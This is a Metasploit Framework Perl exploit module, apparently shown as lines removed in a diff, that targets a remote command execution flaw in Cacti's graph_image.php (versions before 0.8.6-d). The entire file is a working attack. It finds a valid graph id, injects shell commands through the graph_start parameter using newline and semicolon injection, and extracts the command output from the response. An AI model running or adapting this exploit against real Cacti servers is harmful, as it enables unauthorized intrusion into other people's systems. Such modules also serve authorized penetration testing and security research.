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- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::cacti_graphimage_exec;
- use base "Msf::Exploit";
- use strict;
- use Pex::Text;
- use bytes;
-
- my $advanced = { };
-
- my $info = {
- 'Name' => 'Cacti graph_image.php Remote Command Execution',
- 'Version' => '$Revision: 1.4 $',
- 'Authors' => [ 'David Maciejak <david dot maciejak at kyxar dot fr>' ],
- 'Arch' => [ ],
- 'OS' => [ ],
- 'Priv' => 0,
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 80],
- 'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
- 'DIR' => [1, 'DATA', 'Directory of cacti', '/cacti/'],
- 'SSL' => [0, 'BOOL', 'Use SSL'],
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This module exploits an arbitrary command execution vulnerability in the
- Raxnet Cacti 'graph_image.php' script. All versions of Raxnet Cacti prior to
- 0.8.6-d are vulnerable.
- }),
- 'Refs' =>
- [
- ['BID', '14042'],
- ['MIL', '96'],
- ],
-
- 'Payload' =>
- {
- 'Space' => 128,
- 'Keys' => ['cmd','cmd_bash'],
- },
-
- 'Keys' => ['cacti'],
-
- 'DisclosureDate' => 'Jun 23 2005',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Exploit {
- my $self = shift;
- my $target_host = $self->VHost;
- my $target_port = $self->GetVar('RPORT');
- my $dir = $self->GetVar('DIR');
- my $encodedPayload = $self->GetVar('EncodedPayload');
- my $cmd = $encodedPayload->RawPayload;
-
-
- $cmd = Pex::Text::URLEncode($cmd);
-
- my $listgraph = $dir.'graph_view.php?action=list';
- my $requestlist =
- "GET $listgraph HTTP/1.1\r\n".
- "Accept: */*\r\n".
- "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
- "Host: ".$self->VHost.":$target_port\r\n".
- "Connection: Close\r\n".
- "\r\n";
-
- my $s = Msf::Socket::Tcp->new(
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'SSL' => $self->GetVar('SSL'),
- );
-
- if ($s->IsError){
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- $self->PrintLine("[*] Establishing a connection to the target to get list of valid image id ...");
-
- $s->Send($requestlist);
-
- my $resultslist = $s->Recv(-1, 20);
- $s->Close();
-
- $resultslist=~m/local_graph_id=(.*?)&/ || $self->PrintLine("[*] Unable to retrieve a valid image id") && return;
-
- my $valid_graph_id=$1;
-
- $dir = $dir.'graph_image.php?local_graph_id='."$valid_graph_id".'&graph_start=%0aecho;echo%20YYY;'."$cmd".';echo%20YYY;echo%0a';
-
- my $request =
- "GET $dir HTTP/1.1\r\n".
- "Accept: */*\r\n".
- "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
- "Host: ".$self->VHost.":$target_port\r\n".
- "Connection: Close\r\n".
- "\r\n";
-
- $s = Msf::Socket::Tcp->new(
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'SSL' => $self->GetVar('SSL'),
- );
-
- if ($s->IsError){
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- $self->PrintLine("[*] Establishing a connection to the target to execute command ...");
-
- $s->Send($request);
-
- my $results = $s->Recv(-1, 20);
-
- if ($results=~ /^transfer-encoding:[ \t]*chunked\b/im){
-
- (undef, $results) = split(/YYY/, $results);
-
- my @results = split ( /\r\n/, $results );
-
- chomp @results;
-
- for (my $i = 2; $i < @results; $i += 2){
- $self->PrintLine('');
- $self->PrintLine("$results[$i]");
- }
- } else {
-
- (undef, $results) = split(/YYY/, $results);
-
- my @results = split ( /\r\n/, $results );
-
- chomp @results;
- $self->PrintLine("[*] Target may be not vulnerable");
- $self->PrintLine("$results");
- }
-
- $s->Close();
- return;
- }
-
- sub VHost {
- my $self = shift;
- my $name = $self->GetVar('VHOST') || $self->GetVar('RHOST');
- return $name;
- }
-
- 1;
-